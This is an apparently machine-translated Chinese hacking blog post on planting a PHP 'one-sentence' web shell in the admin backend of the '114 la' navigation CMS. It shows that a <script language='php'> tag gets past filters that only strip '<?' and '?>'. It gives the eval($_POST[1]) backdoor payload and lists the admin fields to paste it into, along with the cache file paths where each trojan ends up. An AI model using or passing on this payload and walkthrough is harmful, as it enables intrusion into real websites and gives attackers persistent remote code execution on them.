The idea of inserting a sentence in the php background

First, we will introduce various php labels:

 

1 ):

 

<? Php?>

 

Demo:

 

<? Php echo "test";?>

 

Most programs use this label now! No stranger to everyone. We will not discuss it here!

 

2 ):

 

<? Echo "test";?>

 

This label is a common usage in the past. Most cms developed in older php versions use it,

 

Most programmers are familiar with it! We call this label a phrase tag!

 

3 ):

 

<Script language = "php"> </script>

 

Demo:

 

<Script language = "php"> echo "test"; </script> www.2cto.com

 

This label is the focus of today and is mostly unfamiliar! In addition, programmers filter and insert a sentence in the website background.

 

Usually

 

"<?,?>"

 

These two keywords are replaced or filtered! Therefore, this type of tag is inserted in the background.

 

It is still very useful! PS: that is, we should not pay attention to it because it is not used much! Can this work?

 

Practice: 114 la navigation to prepare one of our code: Use the script tag code:

 

<Script language = "php"> eval ($ _ POST [1]); </script>

 

First, I have finished watching the background with the guy on Sunday. His own method does not win the shell template directory permission is read-only! You understand!

 

The method here is to use the cache to get shell. This method was previously published. The author does not know who it is)

 

-The official website and the website have been repaired, but the repair method is very sloppy! That is, the filter keyword I mentioned earlier is only

 

<? ?>

 

So here we can use the php code in script format we have prepared to insert a sentence!

 

The first line of the website name:

 

Enter a sentence in HTML, and the trojan is located in admin/data/cache/cache_mztop.php.

 

Station carousel:

 

Enter a sentence after the website URL, and the trojan is located in admin/data/cache/cache_famous_loop.php.

 

Site name switch:

 

Enter a sentence after the ifreme URL, and the sentence after submission is in admin/data/cache/cache_famous_tab.php

 

Homepage utilities:

 

Enter a sentence after the tool URL, and the sentence after submission is in admin/data/cache/cache_index_tool.php
